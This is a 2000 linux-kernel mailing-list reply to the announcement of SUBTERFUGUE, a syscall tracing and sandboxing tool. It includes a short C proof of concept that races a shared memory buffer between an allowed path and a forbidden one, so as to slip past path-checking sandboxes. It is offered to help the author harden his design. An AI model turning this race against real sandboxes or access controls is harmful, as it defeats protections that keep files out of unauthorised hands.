public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* Re: [ANNOUNCE] SUBTERFUGUE 0.0
       [not found] <m12HhOU-000WVvC@microdog>
@ 2000-02-07 20:58 ` Pavel Machek
  0 siblings, 0 replies; only message in thread
From: Pavel Machek @ 2000-02-07 20:58 UTC (permalink / raw)
  To: Mike Coleman, linux-kernel

[-- Attachment #1: Type: text/plain, Size: 1466 bytes --]

Hi!

> I'm pleased to announce the first public release of SUBTERFUGUE.  Below is a
> brief description from the README.

I'll take a look (really, I'm doing something pretty close as my
diploma thesis). Meanwhile: take a look at this program. It is _very_
nasty, and I guess it is able to bypass your protection (Imagine you
want to restrict access to /heslo, but leave access to /reklama open.)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void
main(void)
{
  char *c = 0x94000000;
  open( "/tmp/delme", O_RDWR );
  mmap( c, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 3, 0 );
  *c = 0;
  if (fork()) {
    while(1) {
      strcpy( c, "/reklama" );    
      strcpy( c, "/heslo" );
    }
  } else
    while (1)
      open( c, 0 );
}

> SUBTERFUGUE is a framework for observing and playing with the reality of
> software; it's a foundation for building tools to do tracing, sandboxing, and
> many other things. You could think of it as "strace meets expect."

When I was faced with this task, I added ability to strace to ask if
it should do syscalls. Patch is rather small and attached. If there's
enough interest, I might even be able to push -y option into standart
distribution.

								Pavel

-- 
I'm pavel@ucw.cz. "In my country we have almost anarchy and I don't care."
Panos Katsaloulis describing me w.r.t. patents me at discuss@linmodems.org

[-- Attachment #2: strace.main.diff#gz --]
[-- Type: application/octet-stream, Size: 1998 bytes --]

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2000-02-07 17:12 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <m12HhOU-000WVvC@microdog>
2000-02-07 20:58 ` [ANNOUNCE] SUBTERFUGUE 0.0 Pavel Machek

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox